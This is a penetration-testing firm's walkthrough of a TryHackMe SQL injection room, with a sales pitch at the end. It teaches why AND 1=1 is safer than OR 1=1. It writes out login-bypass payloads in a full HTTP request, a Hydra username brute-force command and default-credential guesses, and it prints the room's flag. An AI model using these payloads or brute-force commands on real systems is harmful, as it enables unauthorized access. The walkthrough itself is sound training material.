Lesson Learned Walkthrough (THM) – SQL Injection Challenge

This Lesson Learned Walkthrough (THM) teaches critical lessons about SQL injection attacks through a realistic scenario that demonstrates why certain SQL operators should be avoided in real-world penetration testing. The box simulates actual system behavior where improper SQL injection techniques can cause permanent damage.

The Lesson: Why OR 1=1 is Dangerous

This Lesson Learned Walkthrough (THM) is specifically designed to teach the dangers of using OR 1=1 in SQL injection attacks. Unlike typical CTF environments, this box mimics real-world systems where careless SQL injection can cause irreversible damage. Professional web application penetration testing requires understanding these nuances.

Step 1: Initial Reconnaissance and Username Enumeration

The first step involves discovering valid usernames on the target system through systematic enumeration.

Through enumeration techniques, we discover that martin is a valid username on the system. This can be done through username enumeration.

Step 2: Understanding the Login Mechanism

The application uses a standard POST-based login form that processes authentication requests to the root path (/).

Step 3: The Correct SQL Injection Approach

Safe Payload Construction

Based on the challenge requirements and to avoid system damage, we use:

• Username: martin' AND 1=1 --
• Password: aaaa (any value works)

Complete HTTP Request

POST / HTTP/1.1
Host: 10.10.90.221
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
Origin: http://10.10.90.221
Connection: keep-alive
Referer: http://10.10.90.221/
Upgrade-Insecure-Requests: 1
Priority: u=0, i

username=martin' AND 1=1 -- &password=aaaa

Step 4: Success Message and Flag Retrieval

When executed correctly with AND 1=1, you’ll receive a success message:

Well done! You bypassed the login without deleting the flag!

If you’re confused by this message, you probably didn’t even try an SQL injection using something like OR 1=1. Good for you, you didn’t need to learn the lesson.

The flag is displayed: THM{aab02c6b76bb752456a54c80c2d6fb1e}

The Critical Lesson: What Happens with OR 1=1

Why OR 1=1 is Dangerous

The challenge specifically warns against using OR 1=1 because:

1. Returns All Rows: OR 1=1 causes the query to return every row in the users table
2. Performance Issues: Loading all rows can cause database performance problems
3. Real-world Dangers: In applications that reuse user input for UPDATE or DELETE operations, OR 1=1 can be catastrophic

Example Scenario

Consider this common pattern where user input is reused:

UPDATE users SET online=1 WHERE username='<username>';

If OR 1=1 is injected here, it becomes:

UPDATE users SET online=1 WHERE username='martin' OR 1=1;

This would set ALL users as online, not just the authenticated user.

The Catastrophic DELETE Scenario

Even worse, if the application uses a DELETE statement with the same pattern:

DELETE FROM sessions WHERE username='<username>';

With OR 1=1 injection:

DELETE FROM sessions WHERE username='martin' OR 1=1;

This would delete ALL session data for ALL users.

What Happens When You Use OR 1=1

If you attempt to use OR 1=1 instead of AND 1=1, the system displays an error message:

Oops! It looks like you injected an OR 1=1 or similar into the username field. This wouldn’t have bypassed the login because every row in the users table was returned, and the login check only proceeds if one row matches the query.

However, your injection also made it into a DELETE statement, and now the flag is gone. Like, completely gone. You need to reset the box to restore it, sorry.

The system warns that:

• OR 1=1 is dangerous and should almost never be used
• Even SQLmap doesn’t use OR unless you set --risk=3 (maximum risk level)

Key Learning Points

Professional Penetration Testing

This Lesson Learned Walkthrough (THM) demonstrates skills essential for top pen testing companies when conducting real-world security assessments:

• Use AND 1=1 instead of OR 1=1 for safer testing
• Always consider what happens when your payload executes in different contexts

2. Real-world Impact

• SQL injection isn’t just about bypassing authentication
• Consider secondary queries that might reuse your input
• One careless injection can cause permanent data loss

3. Professional Standards

• Understand the difference between proving vulnerability and causing damage
• Use techniques that demonstrate the issue without destroying data
• Follow responsible disclosure practices used by penetration testing companies

Username Enumeration Process

Based on community walkthroughs and videos, the username discovery process typically involves:

Manual Testing

First, try common default credentials like:

• admin:admin
• admin:password
• test:test

Automated Enumeration

When manual testing fails, use tools like Hydra for username enumeration:

hydra -L /usr/share/wordlists/rockyou.txt -p test 10.10.90.221 http-post-form "/:username=^USER^&password=^PASS^:Invalid username and password."

Key Discovery: The username martin is discovered through this enumeration process. The challenge reveals valid usernames like martin, patrick, stuart, marcus, kelly, arnold, and others through systematic brute-force attacks.

Alternative Payloads

Once you have a valid username, several SQL injection payloads work:

1. Boolean-based: martin' AND '1'='1'-- -
2. Simple comment: martin'-- - (comments out password check entirely)
3. Union-based: martin' union select null-- -

Video Walkthrough Reference

Tib3rius, the room creator, has streamed a walkthrough of this challenge available on Twitch, and community content creators like Tyler Ramsbey have created detailed video walkthroughs demonstrating the username enumeration and SQL injection bypass techniques.

Alternative Safe Testing Methods

Instead of OR 1=1, consider:

• AND 1=1 (always true, but requires the original condition to also be true)
• AND 1=2 (always false, for testing different code paths)
• Time-based blind SQL injection techniques
• Boolean-based blind techniques

Mitigation Strategies

For Developers

1. Use Parameterized Queries: Always use prepared statements
2. Input Validation: Validate and sanitize all user inputs
3. Principle of Least Privilege: Database users should have minimal necessary permissions
4. Separate Contexts: Don’t reuse user input across different SQL operations

For Security Testers

1. Understand the Application: Know how data flows through the system
2. Test Safely: Use techniques that prove vulnerability without causing damage
3. Document Responsibly: Report findings in a way that helps developers fix issues

Conclusion

This Lesson Learned Walkthrough (THM) brilliantly demonstrates why understanding the full impact of SQL injection is crucial. The lesson goes beyond simple authentication bypass to show how careless testing can cause permanent damage in real-world scenarios.

The main takeaway: Always use AND 1=1 instead of OR 1=1 when testing for SQL injection vulnerabilities. This approach proves the vulnerability exists while minimizing the risk of unintended data modification or deletion.

Remember: The goal of security testing is to identify and help fix vulnerabilities, not to cause damage to systems or data.

Professional Penetration Testing Services

Ready to secure your web applications with expert testing?

At Aardwolf Security, we understand the critical importance of safe, professional penetration testing. Our experienced team follows the same principles demonstrated in this Lesson Learned Walkthrough (THM) – proving vulnerabilities exist without causing damage to your systems.

Why Choose Aardwolf Security?

• Expert SQL Injection Testing: We use safe techniques like AND 1=1 to demonstrate vulnerabilities without data loss
• Comprehensive Web Application Security: Full-scope testing of authentication mechanisms, input validation, and database security
• Real-World Experience: Our team understands the difference between CTF challenges and production systems
• Responsible Disclosure: We help you fix vulnerabilities without compromising your business operations

Our Services Include:

• Web Application Penetration Testing
• Database Security Assessments
• Authentication Bypass Testing
• Input Validation Analysis
• Security Code Reviews

Don’t let SQL injection vulnerabilities put your business at risk. Contact our expert team today to discuss how we can help secure your web applications.

Get Your Professional Security Assessment →

Frequently Asked Questions (FAQ)

1. What is the main lesson taught in this TryHackMe challenge?

The main lesson is understanding why OR 1=1 is dangerous in SQL injection attacks. Unlike AND 1=1, using OR 1=1 can cause unintended data modification or deletion when the injected payload reaches UPDATE or DELETE statements in real-world applications.

2. Why does using OR 1=1 crash the TryHackMe box?

The box simulates real-world behavior where OR 1=1 affects all rows in database operations. When this payload reaches a DELETE statement, it deletes all data including the flag, requiring a box reset. This teaches the importance of careful SQL injection testing.

3. What is the correct SQL injection payload for this challenge?

The safe payload is martin' AND 1=1 -- in the username field with any password. This bypasses authentication while ensuring the original username condition remains part of the query, preventing unintended data loss.

4. How do you discover valid usernames in this challenge?

Username enumeration is performed using tools like Hydra with wordlists, looking for different error responses between invalid usernames and valid usernames with wrong passwords. The username martin is discovered through this systematic approach.

5. What makes this challenge different from typical CTF scenarios?

Unlike standard CTF challenges, this box simulates real-world application behavior where SQL injection payloads can cause permanent system damage. It teaches responsible penetration testing techniques used by professional security testers.

6. Why is AND 1=1 safer than OR 1=1 for SQL injection testing?

AND 1=1 requires the original condition to be true, limiting results to intended records. OR 1=1 makes the entire WHERE clause always true, affecting all database rows and potentially causing data loss in UPDATE/DELETE operations.

7. What other SQL injection payloads work for this challenge?

Alternative safe payloads include martin'-- - (commenting out password check) and martin' union select null-- -. All these approaches avoid the dangerous OR 1=1 condition while successfully bypassing authentication.

8. What real-world applications does this lesson apply to?

This lesson applies to any web application penetration testing where SQL injection is possible. Professional testers must always consider how their payloads might affect secondary database operations beyond the initial injection point.